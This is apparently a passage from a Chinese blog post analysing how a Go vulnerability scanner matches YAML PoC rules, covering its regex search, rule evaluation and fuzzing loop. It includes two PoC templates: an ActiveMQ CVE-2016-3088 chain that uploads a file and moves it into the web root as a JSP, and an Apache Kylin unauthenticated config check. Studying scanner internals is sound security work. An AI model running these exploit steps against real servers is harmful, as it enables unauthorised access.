    body, err = io.ReadAll(oResp.Body)
    if strings.Contains(oResp.Header.Get("Content-Encoding"), "gzip") {
        reader, err1 := gzip.NewReader(bytes.NewReader(body))
        if err1 == nil {
            body, err = io.ReadAll(reader)
        }
    }
    if err == io.EOF {
        err = nil
    }
    return
}
search规则检索

首先,poc允许名叫search的规则,举例

name: poc-yaml-activemq-cve-2016-3088
set:
  filename: randomLowercase(6)
  fileContent: randomLowercase(6)
rules:
  - method: PUT
    path: /fileserver/{{filename}}.txt
    body: |
      {{fileContent}}
    expression: |
      response.status == 204
  - method: GET
    path: /admin/test/index.jsp
    search: |
      activemq.home=(?P<home>.*?),
    follow_redirects: false
    expression: |
      response.status == 200
  - method: MOVE
    path: /fileserver/{{filename}}.txt
    headers:
      Destination: "file://{{home}}/webapps/api/{{filename}}.jsp"
    follow_redirects: false
    expression: |
      response.status == 204
  - method: GET
    path: /api/{{filename}}.jsp
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(bytes(fileContent))
detail:
  author: j4ckzh0u(https://github.com/j4ckzh0u)
  links:
    - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088

代码会根据search中给的正则表达式寻找body和headers中的数据。

接下来是response的检查。
调用doSearch判断是否匹配search规则,传入rule.Searchheaders、body的string。

variableMap["response"] = resp
    // 先判断响应页面是否匹配search规则
    if rule.Search != "" {
        result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
        if result != nil && len(result) > 0 { // 正则匹配成功
            for k, v := range result {
                variableMap[k] = v
            }
            //return false, nil
        } else {
            return false, nil
        }
    }
    out, err := Evaluate(env, rule.Expression, variableMap)
    if err != nil {
        if strings.Contains(err.Error(), "Syntax error") {
            fmt.Println(rule.Expression, err)
        }
        return false, err
    }
    //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
    if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
        return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
    }
    return true, err
}
doSearch

跟进doSearch。根据传入的正则表达式,调用regexp.FindStringSubmatch/SubexpNames匹配子字符串。
findstringsubmatch函数,会寻找正则表达式和子表达式匹配的字符串组,比如下面,括号中的是子表达式。函数会依次输出匹配到的内容,如果没有则返回空字符串。

re := regexp.MustCompile(`a(x*)b(y|z)c`)
fmt.Printf("%q\n", re.FindStringSubmatch("-axxxbyc-"))
fmt.Printf("%q\n", re.FindStringSubmatch("-abzc-"))

["axxxbyc" "xxx" "y"]
["abzc" "" "z"]

SubexpNames函数,会返回正则表达式中带括号的子表达式的名称。第一个子表达式的名称是names[1],因此如果m是一个匹配切片,那么m[i]的名称就是SubexpNames()[i]。由于整个正则表达式不能被命名,所以names[0]总是空字符串。这个切片不应该被修改。

re := regexp.MustCompile(`(?P<first>[a-zA-Z]+) (?P<last>[a-zA-Z]+)`)
fmt.Println(re.MatchString("Alan Turing"))
fmt.Printf("%q\n", re.SubexpNames())
reversed := fmt.Sprintf("${%s} ${%s}", re.SubexpNames()[2], re.SubexpNames()[1])
fmt.Println(reversed)
fmt.Println(re.ReplaceAllString("Alan Turing", reversed))

true
["" "first" "last"]
${last} ${first}
Turing Alan

查看dosearch逻辑。匹配成功会返回匹配到的捕获组名称以及匹配到的字符串值

func doSearch(re string, body string) map[string]string {
    r, err := regexp.Compile(re)
    if err != nil {
        fmt.Println("[-] regexp.Compile error: ", err)
        return nil
    }
    // 寻找正则表达式和子表达式匹配的字符串组
    result := r.FindStringSubmatch(body)
    names := r.SubexpNames()
    if len(result) > 1 && len(names) > 1 {
        paramsMap := make(map[string]string)
        for i, name := range names {
            if i > 0 && i <= len(result) {
                if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") {
                    paramsMap[name] = optimizeCookies(result[i])
                } else {
                    paramsMap[name] = result[i]
                }
            }
        }
        return paramsMap
    }
    return nil
}

接着返回clustersend逻辑,根据返回的捕获组名称:匹配内容,将其依次全部赋值入variableMap

variableMap["response"] = resp
// 先判断响应页面是否匹配search规则
if rule.Search != "" {
    result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body))
    if result != nil && len(result) > 0 { // 正则匹配成功
        for k, v := range result {
            variableMap[k] = v
        }
        //return false, nil
    } else {
        return false, nil
    }
}

最后将提取来的变量传入cel表达式环境变量,对规则中的表达式rule.Expression进行编译与执行。如果匹配成功,clustersend返回true,否则false。true就代表poc命中目标

out, err := Evaluate(env, rule.Expression, variableMap)
if err != nil {
    if strings.Contains(err.Error(), "Syntax error") {
        fmt.Println(rule.Expression, err)
    }
    return false, err
}
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
    return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
}
return true, err

rule.expression举例:

name: poc-yaml-apache-kylin-unauth-cve-2020-13937
rules:
  - method: GET
    path: /kylin/api/admin/config
    expression: |
      response.status == 200 && response.headers["Content-Type"].contains("application/json") && response.body.bcontains(b"config") && response.body.bcontains(b"kylin.metadata.url")
detail:
  author: JingLing(github.com/shmilylty)
  links:
    - https://s.tencent.com/research/bsafe/1156.html
成功命中

此刻已经成功获取匹配到的poc,clusterpoc函数会返回success(为true)。

func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
    .......
    for i, rule := range p.Rules {
        if !isFuzz(rule, p.Sets) {
            success, err = clustersend(oReq, variableMap, req, env, rule)
            if err != nil {
                return false, err
            }
            if success {
                continue
            } else {
                return false, err
            }
        }
    ......
    }
    return success, nil
}

需要fuzz

接下来开始分析需要fuzz的情况。
回到clusterpoc中。

func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
    ......
    for i, rule := range p.Rules {
        if !isFuzz(rule, p.Sets) {
            ......
        }
        setsMap := Combo(p.Sets)
        ruleHash := make(map[string]struct{})
    look:
        for j, item := range setsMap {
            //shiro默认只跑10key
            if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
                if item[1] == "cbc" {
                    continue
                } else {
                    if tmpnum == 0 {
                        tmpnum = j
                        .........

后面的暂时没有精力写了,前面我相信已经量大管饱了。


参考

0 条评论
某人
表情
可输入 255